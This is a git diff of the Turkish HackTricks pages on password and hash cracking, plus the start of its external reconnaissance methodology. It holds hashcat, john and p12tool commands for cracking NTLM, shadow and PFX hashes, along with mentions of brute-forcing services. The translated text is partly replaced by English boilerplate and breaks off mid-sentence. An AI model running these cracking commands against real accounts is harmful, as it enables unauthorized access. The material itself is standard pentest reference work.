-### DPAPI Anahtarını Kırmak +### DPAPI Anahtar -[https://github.com/openwall/john/blob/bleeding-jumbo/run/DPAPImk2john.py](https://github.com/openwall/john/blob/bleeding-jumbo/run/DPAPImk2john.py) adresinden DPAPI anahtarını kırmak için DPAPImk2john.py aracını indirin ve ardından john aracını kullanın. +[https://github.com/openwall/john/blob/bleeding-jumbo/run/DPAPImk2john.py](https://github.com/openwall/john/blob/bleeding-jumbo/run/DPAPImk2john.py) adresini kullanın ve ardından john'u çalıştırın ### Open Office Şifre Korumalı Sütun -Eğer bir xlsx dosyasında bir sütun şifre ile korunuyorsa, şifreyi kaldırabilirsiniz: +Eğer bir xlsx dosyasında bir şifre ile korunan bir sütun varsa, şu adımları izleyebilirsiniz: -* **Google Drive'a yükleyin** ve şifre otomatik olarak kaldırılacaktır. +* **Google Drive'a yükleyin** ve şifre otomatik olarak kaldırılacaktır * **Manuel olarak** kaldırmak için: ```bash unzip file.xlsx @@ -1147,31 +733,17 @@ hashValue="hFq32ZstMEekuneGzHEfxeBZh3hnmO9nvv8qVHV8Ux+t+39/22E3pfr8aSuXISfrRV9UV zip -r file.xls . ``` ### PFX Sertifikaları - -PFX sertifikaları, genellikle Windows işletim sistemlerinde kullanılan bir sertifika formatıdır. PFX, kişisel bilgisayarlar ve sunucular arasında güvenli iletişimi sağlamak için kullanılır. PFX sertifikaları, genellikle bir özel anahtar ve ilgili bir kamu anahtarını içerir. - -PFX sertifikalarını kırmak veya çözmek için brute force saldırıları kullanılabilir. Brute force saldırıları, tüm olası kombinasyonları deneyerek şifreyi tahmin etmeye çalışır. Bu saldırılar genellikle zaman alıcıdır, çünkü şifrenin karmaşıklığına bağlı olarak çok sayıda deneme yapılması gerekebilir. - -PFX sertifikalarını kırmak için kullanılan bazı brute force araçları şunlardır: - -- Hydra: Çoklu protokol desteği olan bir brute force aracıdır. -- Medusa: Çoklu protokol desteği olan bir brute force aracıdır. -- John the Ripper: Şifre kırma ve brute force saldırıları için popüler bir araçtır. - -PFX sertifikalarını kırmak için brute force saldırıları gerçekleştirirken, güçlü bir şifre listesi kullanmak önemlidir. Şifre listesi, yaygın kullanılan şifreleri, kelime listelerini ve diğer olası şifre kombinasyonlarını içermelidir. - -Brute force saldırıları, PFX sertifikalarını kırmak için kullanılan bir yöntem olmasına rağmen, bu saldırıların başarı şansı şifrenin karmaşıklığına bağlıdır. Güçlü ve karmaşık bir şifre kullanarak PFX sertifikalarınızı korumak önemlidir. ```bash # From https://github.com/Ridter/p12tool ./p12tool crack -c staff.pfx -f /usr/share/wordlists/rockyou.txt # From https://github.com/crackpkcs12/crackpkcs12 crackpkcs12 -d /usr/share/wordlists/rockyou.txt ./cert.pfx ``` -
+
\ -Dünyanın en gelişmiş topluluk araçları tarafından desteklenen **iş akışlarını kolayca oluşturun ve otomatikleştirin** için [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)'i kullanın.\ -Bugün Erişim Alın: +[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) kullanarak dünyanın en gelişmiş topluluk araçlarıyla desteklenen **otomatik iş akışları** oluşturun ve otomatikleştirin.\ +Bugün Erişim Edinin: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} @@ -1193,13 +765,13 @@ hash-identifier ### **Kelime Listesi Oluşturma Araçları** -* [**kwprocessor**](https://github.com/hashcat/kwprocessor)**:** Yapılandırılabilir temel karakterler, tuş haritası ve rotaları olan gelişmiş klavye dolaşımı üreteci. +* [**kwprocessor**](https://github.com/hashcat/kwprocessor)**:** Yapılandırılabilir temel karakterler, tuş haritası ve rotalar ile gelişmiş klavye-tarama oluşturucusu. ```bash kwp64.exe basechars\custom.base keymaps\uk.keymap routes\2-to-10-max-3-direction-changes.route -o D:\Tools\keywalk.txt ``` ### John mutasyonu -_**/etc/john/john.conf**_ dosyasını okuyun ve yapılandırın. +_**/etc/john/john.conf**_ dosyasını okuyun ve yapılandırın ```bash john --wordlist=words.txt --rules --stdout > w_mutated.txt john --wordlist=words.txt --rules=all --stdout > w_mutated.txt #Apply all rules @@ -1208,15 +780,15 @@ john --wordlist=words.txt --rules=all --stdout > w_mutated.txt #Apply all rules #### Hashcat saldırıları -* **Wordlist saldırısı** (`-a 0`) kurallarla birlikte +* **Kelime listesi saldırısı** (`-a 0`) kurallarla -**Hashcat**, zaten **kurallar içeren bir klasörle birlikte gelir** ancak [**burada başka ilginç kurallar bulabilirsiniz**](https://github.com/kaonashi-passwords/Kaonashi/tree/master/rules). +**Hashcat**, zaten **kurallar içeren bir klasörle** birlikte gelir ancak [**burada başka ilginç kurallar bulabilirsiniz**](https://github.com/kaonashi-passwords/Kaonashi/tree/master/rules). ``` hashcat.exe -a 0 -m 1000 C:\Temp\ntlm.txt .\rockyou.txt -r rules\best64.rule ``` -* **Kelime listesi birleştirme** saldırısı +* **Kelime listesi kombinasyonu** saldırısı -Hashcat ile 2 kelime listesi **birleştirilebilir**.\ +Hashcat ile **2 kelime listesi birleştirilebilir**.\ Eğer 1. liste **"hello"** kelimesini içeriyorsa ve ikinci liste **"world"** ve **"earth"** kelimelerini içeriyorsa, `helloworld` ve `helloearth` kelimeleri oluşturulacaktır. ```bash # This will combine 2 wordlists @@ -1260,7 +832,7 @@ hashcat.exe -a 3 -m 1000 C:\Temp\ntlm.txt -1 ?d?s ?u?l?l?l?l?l?l?l?1 ## Use it to crack the password hashcat.exe -a 3 -m 1000 C:\Temp\ntlm.txt .\masks.hcmask ``` -* Wordlist + Mask (`-a 6`) / Mask + Wordlist (`-a 7`) saldırısı +* Kelime listesi + Maske (`-a 6`) / Maske + Kelime listesi (`-a 7`) saldırısı ```bash # Mask numbers will be appended to each word in the wordlist hashcat.exe -a 6 -m 1000 C:\Temp\ntlm.txt \wordlist.txt ?d?d?d?d @@ -1269,178 +841,80 @@ hashcat.exe -a 6 -m 1000 C:\Temp\ntlm.txt \wordlist.txt ?d?d?d?d hashcat.exe -a 7 -m 1000 C:\Temp\ntlm.txt ?d?d?d?d \wordlist.txt ``` #### Hashcat modları - -Hashcat, çeşitli şifre kırma modlarıyla kullanılabilir. Aşağıda, Hashcat'in desteklediği bazı temel modlar açıklanmaktadır: - -- **0**: Boş mod. Bu mod, Hashcat'in hiçbir şifre kırma işlemi yapmadığı anlamına gelir. -- **100**: WPA/WPA2 modu. Bu mod, WPA veya WPA2 şifrelerini kırmak için kullanılır. -- **2500**: WPA/WPA2 PMKID modu. Bu mod, WPA veya WPA2 PMKID'leri kırmak için kullanılır. -- **3000**: LM modu. Bu mod, Windows LM hash'lerini kırmak için kullanılır. -- **500**: MD5 modu. Bu mod, MD5 hash'leri kırmak için kullanılır. -- **900**: SHA1 modu. Bu mod, SHA1 hash'leri kırmak için kullanılır. -- **1000**: NTLM modu. Bu mod, Windows NTLM hash'leri kırmak için kullanılır. -- **1400**: SHA256 modu. Bu mod, SHA256 hash'leri kırmak için kullanılır. -- **1700**: SHA512 modu. Bu mod, SHA512 hash'leri kırmak için kullanılır. - -Bu sadece bazı temel modlardır ve Hashcat, farklı hash algoritmalarını ve şifreleme yöntemlerini destekleyen daha fazla mod sunar. ```bash hashcat --example-hashes | grep -B1 -A2 "NTLM" ``` -# Linux Hashleri Kırma - /etc/shadow Dosyası +## Brute Forcing -Linux sistemlerde kullanıcı parolaları `/etc/shadow` dosyasında saklanır. Bu dosya, kullanıcı adları ve parolalarıyla ilgili hash değerlerini içerir. Bu bölümde, `/etc/shadow` dosyasındaki hash değerlerini kırmak için kullanılan bazı yöntemleri öğreneceksiniz. +### Introduction -## 1. Brute Force Saldırısı +Brute forcing is a common technique used to crack passwords by systematically trying all possible combinations of characters until the correct one is found. In the context of cracking Linux hashes from the `/etc/shadow` file, brute forcing involves generating potential passwords and hashing them using the same algorithm as the one used in Linux to create the password hashes. These generated hashes are then compared with the target hash from the `/etc/shadow` file to find a match. -Brute force saldırısı, tüm olası kombinasyonları deneyerek doğru parolayı bulmaya çalışan bir saldırı türüdür. Linux hashlerini kırmak için brute force saldırısı kullanabilirsiniz. Bu saldırı türü, bir wordlist (kelime listesi) veya karakter seti kullanarak parola tahminlerinde bulunur. +### Tools -### Wordlist Kullanarak Brute Force +There are various tools available for performing brute force attacks on Linux hashes. Some popular tools include John the Ripper, Hashcat, and Hydra. These tools support different algorithms and techniques for cracking passwords, making them versatile options for password cracking. -Wordlist tabanlı brute force saldırısı, önceden oluşturulmuş bir kelime listesini kullanarak parola tahminlerinde bulunur. Bu kelime listesi, yaygın kullanılan parolaları, sözlük kelimelerini ve diğer olası parola kombinasyonlarını içerir. +### Methodology -```bash -$ john --wordlist=wordlist.txt hash.txt -``` +1. **Obtain the Hash**: First, you need to obtain the hash of the password you want to crack from the `/etc/shadow` file on the target Linux system. -### Karakter Seti Kullanarak Brute Force +2. **Select a Tool**: Choose a suitable password cracking tool based on the hash algorithm used in the target system. -Karakter seti tabanlı brute force saldırısı, belirli bir karakter setini kullanarak parola tahminlerinde bulunur. Bu saldırı türü, belirli bir uzunlukta tüm kombinasyonları deneyerek parolayı bulmaya çalışır. +3. **Generate Password List**: Create a list of potential passwords to be used in the brute force attack. This list can be generated based on common passwords, dictionary words, or custom rules. -```bash -$ john --incremental hash.txt -``` +4. **Perform Brute Force Attack**: Use the selected tool to systematically hash the passwords from the generated list and compare them with the target hash. If a match is found, the password has been successfully cracked. -## 2. Rainbow Table Saldırısı +### Conclusion -Rainbow table saldırısı, önceden hesaplanmış hash değerlerini içeren bir tabloyu kullanarak parolaları kırmaya çalışır. Bu tablo, hash değerleri ve bunlara karşılık gelen orijinal parolaları içerir. Rainbow table saldırısı, brute force saldırısına göre daha hızlıdır, ancak daha fazla depolama alanı gerektirir. - -```bash -$ rcracki_mt -h hash.txt -t rainbow_table.rt -``` - -## 3. GPU Tabanlı Saldırılar - -GPU tabanlı saldırılar, grafik işlemcilerin (GPU) paralel hesaplama yeteneklerini kullanarak hash değerlerini kırmaya çalışır. Bu saldırı türü, brute force veya rainbow table saldırılarını hızlandırmak için kullanılabilir. - -```bash -$ hashcat -m 500 hash.txt wordlist.txt -``` - -Yukarıdaki komut, hashcat aracını kullanarak brute force saldırısı yapar. `-m 500` parametresi, Linux SHA-512 hashlerini belirtir. - -## 4. Online Hash Kırma Servisleri - -Bazı çevrimiçi hash kırma servisleri, hash değerlerini kırmak için bulut tabanlı hesaplama gücünü kullanır. Bu servisler, kullanıcıların hash değerlerini yüklemelerine ve kırılmış parolaları alabilmelerine olanak tanır. - -- [CrackStation](https://crackstation.net/) -- [HashKiller](https://hashkiller.co.uk/) -- [OnlineHashCrack](https://www.onlinehashcrack.com/) - -Bu servisler, güvenlik ve gizlilik açısından dikkatli kullanılmalıdır. Hash değerlerinizin üçüncü taraflar tarafından ele geçirilme riski olduğunu unutmayın. - -## 5. Parola Yeniden Ayarlama - -Eğer root erişimine sahipseniz, `/etc/shadow` dosyasındaki hash değerlerini kırmak yerine parolaları sıfırlayabilirsiniz. Bu, kullanıcıların parolalarını yeniden ayarlamalarını gerektirir. - -```bash -$ passwd username -``` - -Yukarıdaki komutu kullanarak, belirli bir kullanıcının parolasını sıfırlayabilirsiniz. `username` parametresini hedef kullanıcının adıyla değiştirin. - -## 6. Diğer Yöntemler - -Linux hashlerini kırmak için başka yöntemler de mevcuttur. Bunlar, hash türüne, sistem yapılandırmasına ve kullanılabilir kaynaklara bağlı olarak değişebilir. Ayrıca, hash cracking araçlarının belirli bir hash türünü destekleyip desteklemediğini kontrol etmek önemlidir. - -Bu bölümde, Linux sistemlerdeki `/etc/shadow` dosyasındaki hash değerlerini kırmak için kullanılan bazı genel yöntemleri öğrendiniz. Ancak, unutmayın ki hash kırma işlemi yasa dışı olabilir ve yalnızca yasal izinlerle gerçekleştirilmelidir. +Brute forcing Linux hashes from the `/etc/shadow` file can be a time-consuming process, especially for complex passwords. However, with the right tools and techniques, it is possible to crack passwords and gain unauthorized access to a Linux system. It is essential for system administrators to use strong, unique passwords and implement additional security measures to protect against brute force attacks. ``` 500 | md5crypt $1$, MD5(Unix) | Operating-Systems 3200 | bcrypt $2*$, Blowfish(Unix) | Operating-Systems 7400 | sha256crypt $5$, SHA256(Unix) | Operating-Systems 1800 | sha512crypt $6$, SHA512(Unix) | Operating-Systems ``` -# Windows Hash'lerini Kırmak +# Brute Force -Windows işletim sistemlerinde kullanılan parola hash'lerini kırmak, bir hedefin parolasını elde etmek için yaygın bir yöntemdir. Bu bölümde, Windows hash'lerini kırmak için kullanılan bazı teknikleri öğreneceksiniz. +## Introduction -## 1. Brute Force Saldırıları +Brute force is a common technique used to crack passwords by systematically trying all possible combinations of characters until the correct one is found. In the context of cracking Windows hashes, brute force can be used to crack the LM and NTLM hashes of Windows user passwords. -Brute force saldırıları, tüm olası kombinasyonları deneyerek parola hash'ini kırmaya çalışan saldırı türleridir. Bu saldırılar, güçlü bir hesap parolası kullanılmadığında oldukça etkili olabilir. +## Tools -### 1.1. Wordlist Tabanlı Brute Force +There are several tools available for performing brute force attacks on Windows hashes, including: -Wordlist tabanlı brute force saldırıları, önceden oluşturulmuş bir kelime listesini kullanarak parola hash'ini kırmayı amaçlar. Bu yöntem, kullanıcıların yaygın olarak kullandığı veya tahmin edilebilecek parolaları hedef alır. +- **John the Ripper**: A popular password cracking tool that can be used to crack Windows hashes. +- **Hashcat**: Another powerful password cracking tool that supports cracking Windows hashes. +- **CrackMapExec**: A post-exploitation tool that can be used to perform brute force attacks on Windows systems. -Örnek komut: +## Methodology -```plaintext -hashcat -m -``` +To crack Windows hashes using brute force, follow these general steps: -### 1.2. Mask Tabanlı Brute Force +1. Obtain the Windows hashes from the target system. +2. Use a password cracking tool such as John the Ripper or Hashcat to perform a brute force attack on the hashes. +3. Analyze the results to identify the cracked passwords. -Mask tabanlı brute force saldırıları, belirli bir desene dayalı olarak parola hash'ini kırmayı amaçlar. Bu yöntem, kullanıcının parola oluşturma alışkanlıklarını tahmin etmek için kullanılabilir. +## Conclusion -Örnek komut: - -```plaintext -hashcat -m -a 3 '?l?l?l?l?l?l?l' -``` - -## 2. Rainbow Tabloları - -Rainbow tabloları, önceden hesaplanmış parola hash'lerinin depolandığı ve hızlı bir şekilde eşleştirme yapılmasını sağlayan tablolardır. Bu yöntem, brute force saldırılarından daha hızlı sonuçlar elde etmek için kullanılabilir. - -Örnek komut: - -```plaintext -rtgen -``` - -## 3. Parola Kırma Araçları - -Parola kırma araçları, Windows hash'lerini kırmak için kullanılan özel yazılımlardır. Bu araçlar, farklı saldırı yöntemlerini destekleyerek daha hızlı ve etkili bir şekilde parola hash'lerini kırabilir. - -Örnek araçlar: - -- Hashcat -- John the Ripper -- Cain & Abel - -Bu teknikleri kullanarak Windows hash'lerini kırabilir ve hedefin parolasını elde edebilirsiniz. Ancak, bu işlem yasa dışı olabilir ve yalnızca yasal izinlerle gerçekleştirilmelidir. +Brute force attacks can be an effective way to crack Windows hashes and recover user passwords. However, they can be time-consuming and resource-intensive, so it's important to use them judiciously and consider other password cracking techniques as well. ``` 3000 | LM | Operating-Systems 1000 | NTLM | Operating-Systems ``` -# Ortak Uygulama Hash'lerini Kırmak +# Kaba Kuvvet Saldırısı -Bir uygulamanın kimlik doğrulama işlemi sırasında kullanılan hash algoritması, saldırganlar için bir zayıflık olabilir. Bu bölümde, yaygın olarak kullanılan uygulama hash'lerini kırmak için kullanılan bazı teknikleri ele alacağız. +Kaba kuvvet saldırısı, şifrelenmiş verileri çözmek için kullanılan bir yöntemdir. Genellikle, şifrelenmiş bir metin veya hash değeri üzerinde tüm olası kombinasyonları deneyerek doğru şifreyi bulmaya çalışır. Bu saldırı türü, yaygın uygulama hash'lerini kırmak için sıkça kullanılır. -## 1. Brute Force Saldırıları +## Yöntemler -Brute force saldırıları, tüm olası kombinasyonları deneyerek hash'i kırmayı amaçlar. Bu saldırı türü, zayıf veya tahmin edilebilir parolalar kullanıldığında etkili olabilir. Saldırganlar, genellikle yaygın parola listeleri veya özel olarak oluşturulmuş parola kombinasyonları kullanarak bu saldırıyı gerçekleştirir. +Kaba kuvvet saldırıları genellikle şu yöntemlerle gerçekleştirilir: -## 2. Sözlük Saldırıları +- **Sözlük Saldırısı:** Önceden belirlenmiş bir kelime listesini kullanarak şifreleri denemek. +- **Rastgele Saldırı:** Tüm olası kombinasyonları deneyerek şifreyi bulmaya çalışmak. +- **Hibrit Saldırı:** Sözlük saldırısı ve rastgele saldırının bir kombinasyonu. -Sözlük saldırıları, belirli bir sözlük dosyasındaki kelimeleri veya kelime kombinasyonlarını kullanarak hash'i kırmayı amaçlar. Saldırganlar, genellikle yaygın parola listelerini veya özel olarak oluşturulmuş sözlük dosyalarını kullanır. Bu saldırı türü, kullanıcıların zayıf veya yaygın parolalar kullanma eğiliminde olduğu durumlarda etkili olabilir. - -## 3. Rainbow Table Saldırıları - -Rainbow table saldırıları, önceden hesaplanmış hash değerlerini içeren bir tabloyu kullanarak hash'i kırmayı amaçlar. Saldırganlar, genellikle büyük bir veritabanı olan rainbow table'ları kullanır. Bu tablolar, hash değerlerini ve bunlara karşılık gelen orijinal metinleri içerir. Saldırganlar, hedef hash'i tabloda aratarak orijinal metni elde etmeye çalışır. - -## 4. Parola Çalma Saldırıları - -Parola çalma saldırıları, kullanıcıların parolalarını doğrudan ele geçirmeyi amaçlar. Saldırganlar, kullanıcıların parolalarını çalmak için çeşitli yöntemler kullanabilir, örneğin phishing, keylogger veya sosyal mühendislik gibi teknikler. - -## 5. GPU Hızlandırma - -GPU hızlandırma, grafik işlemcilerin (GPU'lar) paralel işleme yeteneklerini kullanarak hash kırma sürecini hızlandırır. Saldırganlar, özel olarak tasarlanmış GPU tabanlı hash kırma araçlarını kullanarak hash'leri daha hızlı bir şekilde kırabilir. - -## 6. Hash Kırma Araçları - -Hash kırma araçları, farklı hash algoritmalarını kırmak için kullanılan yazılımlardır. Bu araçlar, brute force, sözlük saldırıları, rainbow table saldırıları ve diğer teknikleri destekleyebilir. Örnek olarak, John the Ripper, Hashcat ve Hydra gibi popüler hash kırma araçları bulunmaktadır. - -Hash kırma işlemi, hash algoritmasının karmaşıklığına, kullanılan donanıma ve saldırganın kaynaklarına bağlı olarak değişebilir. Güçlü ve karmaşık parolalar kullanmak, hash kırma saldırılarına karşı korunmanın en iyi yollarından biridir. +Kaba kuvvet saldırıları genellikle zaman alıcı olabilir, ancak etkili olabilirler. Güçlü ve karmaşık şifreler kullanarak bu tür saldırılardan korunmak önemlidir. ``` 900 | MD4 | Raw Hash 0 | MD5 | Raw Hash @@ -1452,22 +926,22 @@ Hash kırma işlemi, hash algoritmasının karmaşıklığına, kullanılan dona ```
-Sıfırdan kahraman olmak için AWS hacklemeyi öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı)! +AWS hacklemeyi sıfırdan kahramana öğrenin htARTE (HackTricks AWS Red Team Expert)! HackTricks'ı desteklemenin diğer yolları: -* **Şirketinizi HackTricks'te reklamını görmek** veya **HackTricks'i PDF olarak indirmek** isterseniz [**ABONELİK PLANLARI'na**](https://github.com/sponsors/carlospolop) göz atın! +* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)! * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin -* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz -* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**'ı takip edin**. -* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek paylaşın**. +* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz +* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'da takip edin.** +* **Hacking püf noktalarınızı paylaşarak PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
-
+
\ -Dünyanın en gelişmiş topluluk araçları tarafından desteklenen **iş akışlarını kolayca oluşturmak ve otomatikleştirmek** için [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)'i kullanın.\ +[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın **en gelişmiş** topluluk araçları tarafından desteklenen **iş akışlarını kolayca oluşturun ve otomatikleştirin**.\ Bugün Erişim Alın: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} diff --git a/generic-methodologies-and-resources/external-recon-methodology/README.md b/generic-methodologies-and-resources/external-recon-methodology/README.md index 37b860ec6..61960f743 100644 --- a/generic-methodologies-and-resources/external-recon-methodology/README.md +++ b/generic-methodologies-and-resources/external-recon-methodology/README.md @@ -6,47 +6,47 @@ HackTricks'ı desteklemenin diğer yolları: -* **Şirketinizi HackTricks'te reklamınızı görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na(https://github.com/sponsors/carlospolop) göz atın! +* **Şirketinizi HackTricks'te reklamınızı görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)! * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin * [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz * **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'da takip edin.** -* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun. +* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek HackTricks** (https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun. -
+
-Eğer **hacking kariyeri**ne ilgi duyuyorsanız ve hacklenemez olanı hacklemek istiyorsanız - **işe alıyoruz!** (_akıcı şekilde yazılı ve konuşulan Lehçe gereklidir_). +Eğer **hacking kariyeri**ne ilgi duyuyorsanız ve hacklenemez olanı hacklemek istiyorsanız - **işe alıyoruz!** (_akıcı Lehçe yazılı ve konuşma gereklidir_). {% embed url="https://www.stmcyber.com/careers" %} ## Varlıkların Keşfi -> Dolayısıyla, bazı şirkete ait olan her şeyin kapsamda olduğu söylendi ve bu şirketin aslında neye sahip olduğunu anlamak istiyorsunuz. +> Dolayısıyla, bir şirkete ait her şeyin kapsamda olduğu söylendi ve bu şirketin aslında neye sahip olduğunu anlamak istiyorsunuz. Bu aşamanın amacı, **ana şirkete ait olan tüm şirketleri** elde etmek ve ardından bu şirketlerin tüm **varlıklarını** elde etmektir. Bunun için şunları yapacağız: 1. Ana şirketin satın almalarını bulmak, bu bize kapsamda olan şirketleri verecektir. -2. Her şirketin **ASN'sini** bulmak (varsa), bu bize her şirketin sahip olduğu IP aralıklarını verecektir. -3. İlkini aramak için ters whois aramalarını kullanarak diğer girişleri (kuruluş adları, alan adları...) aramak (bu rekürsif olarak yapılabilir) -4. Diğer teknikleri kullanmak, örneğin shodan `org` ve `ssl` filtrelerini kullanarak diğer varlıkları aramak (`ssl` hilesi rekürsif olarak yapılabilir). +2. Her şirketin ASN'sini bulmak (varsa), bu bize her şirketin sahip olduğu IP aralıklarını verecektir. +3. Diğer girişleri (kuruluş adları, alan adları...) aramak için ters whois aramalarını kullanmak (bu rekürsif olarak yapılabilir) +4. Shodan `org` ve `ssl` filtreleri gibi diğer teknikleri kullanarak diğer varlıkları aramak (`ssl` hilesi rekürsif olarak yapılabilir). ### **Satın Almalar** Öncelikle, **ana şirkete ait olan diğer şirketleri** bilmemiz gerekiyor.\ -Bir seçenek, [https://www.crunchbase.com/](https://www.crunchbase.com)'e gidip **ana şirketi aramak** ve "**satın almalar**"ı **tıklamak**. Orada ana şirket tarafından satın alınan diğer şirketleri göreceksiniz.\ +Bir seçenek, [https://www.crunchbase.com/](https://www.crunchbase.com) sitesini ziyaret etmek, **ana şirketi aramak** ve "**satın almalar**"ı **tıklamak**. Burada ana şirket tarafından satın alınan diğer şirketleri göreceksiniz.\ Diğer bir seçenek, ana şirketin **Wikipedia** sayfasını ziyaret etmek ve **satın almaları** aramaktır. > Tamam, bu noktada kapsamda olan tüm şirketleri bilmelisiniz. Şimdi varlıklarını nasıl bulacağımızı anlayalım. ### **ASN'ler** -Bir **otonom sistem numarası (ASN)**, bir **otonom sistem** (AS) tarafından **Internet Assigned Numbers Authority (IANA)** tarafından atanmış **benzersiz bir numaradır**.\ +Bir otomatik sistem numarası (**ASN**), bir **otonom sistem** (AS) tarafından **Internet Assigned Numbers Authority (IANA)** tarafından atanmış **benzersiz bir numaradır**.\ Bir **AS**, dış ağlara erişim için belirgin bir şekilde tanımlanmış bir politikaya sahip **IP adresi bloklarından** oluşur ve tek bir kuruluş tarafından yönetilir ancak birkaç operatörden oluşabilir. -Şirketin **herhangi bir ASN'ye sahip olup olmadığını** bulmak, **IP aralıklarını** bulmak için ilginç olacaktır. Kapsam içindeki tüm **ana bilgisayarlar** üzerinde bir **zayıflık testi** gerçekleştirmek ve bu IP'lerdeki **alan adlarını** aramak ilginç olacaktır.\ -[**https://bgp.he.net/**](https://bgp.he.net) adresinde şirket **adı**, **IP** veya **alan adı** ile arama yapabilirsiniz.\ -**Şirketin bölgesine bağlı olarak bu bağlantılar daha fazla veri toplamak için yararlı olabilir:** [**AFRINIC**](https://www.afrinic.net) **(Afrika),** [**Arin**](https://www.arin.net/about/welcome/region/)**(Kuzey Amerika),** [**APNIC**](https://www.apnic.net) **(Asya),** [**LACNIC**](https://www.lacnic.net) **(Latin Amerika),** [**RIPE NCC**](https://www.ripe.net) **(Avrupa). Her durumda, muhtemelen tüm** yararlı bilgiler **(IP aralıkları ve Whois)** zaten ilk bağlantıda görünür. +Şirketin **herhangi bir ASN'ye sahip olup olmadığını** bulmak, **IP aralıklarını** bulmak için ilginç olacaktır. Kapsam içindeki tüm **ana bilgisayarlar** üzerinde bir **zafiyet testi** gerçekleştirmek ve bu IP'lerdeki **alan adlarını** aramak ilginç olacaktır.\ +[**https://bgp.he.net/**](https://bgp.he.net) sitesinde şirket **adı**, **IP** veya **alan adı** ile arama yapabilirsiniz.\ +**Şirketin bölgesine bağlı olarak bu bağlantılar daha fazla veri toplamak için yararlı olabilir:** [**AFRINIC**](https://www.afrinic.net) **(Afrika),** [**Arin**](https://www.arin.net/about/welcome/region/)**(Kuzey Amerika),** [**APNIC**](https://www.apnic.net) **(Asya),** [**LACNIC**](https://www.lacnic.net) **(Latin Amerika),** [**RIPE NCC**](https://www.ripe.net) **(Avrupa). Her durumda, tüm** yararlı bilgiler **(IP aralıkları ve Whois)** muhtemelen ilk bağlantıda zaten görünecektir. ```bash #You can try "automate" this with amass, but it's not very recommended amass intel -org tesla @@ -74,21 +74,21 @@ Bir alanın IP'sini ve ASN'sini [http://ipv4info.com/](http://ipv4info.com) kull ### **Zaafiyet arayışı** -Bu noktada **kapsamdaki tüm varlıkları bildiğimizden**, izin verildiyse tüm ana bilgisayarlarda bir **zafiyet taraması** (Nessus, OpenVAS) başlatabilirsiniz.\ -Ayrıca, bazı [**port taramaları**](../pentesting-network/#discovering-hosts-from-the-outside) başlatabilir veya shodan gibi hizmetleri kullanarak açık portlar bulabilir ve bulduklarınıza bağlı olarak bu kitapta çeşitli olası hizmetleri nasıl pentest edeceğinize bakabilirsiniz.\ -**Ayrıca, bazı** varsayılan kullanıcı adı **ve** şifreler **listeleri hazırlayabilir ve [https://github.com/x90skysn3k/brutespray](https://github.com/x90skysn3k/brutespray) ile hizmetleri** brute force **edebilirsiniz.** +Bu noktada **kapsamdaki tüm varlıkları bildiğimizden**, izin verildiyse tüm ana bilgisayarlarda bazı **zafiyet taraması** (Nessus, OpenVAS) başlatabilirsiniz.\ +Ayrıca, bazı [**port taramaları**](../pentesting-network/#discovering-hosts-from-the-outside) başlatabilir veya shodan gibi hizmetleri kullanarak **açık portları bulabilir ve bulduklarınıza bağlı olarak** bu kitapta çalıştırılan çeşitli olası hizmetleri nasıl pentest edeceğinizi inceleyebilirsiniz.\ +**Ayrıca, varsayılan kullanıcı adı** ve **şifre listeleri hazırlayabilir ve [https://github.com/x90skysn3k/brutespray](https://github.com/x90skysn3k/brutespray) ile hizmetleri** brute force deneyebilirsiniz. ## Alanlar > Kapsamdaki tüm şirketleri ve varlıklarını bildiğimize göre, kapsamdaki alanları bulma zamanı geldi. -_Lütfen, aşağıda önerilen tekniklerde alt alanlar da bulabileceğinizi unutmayın ve bu bilginin göz ardı edilmemesi 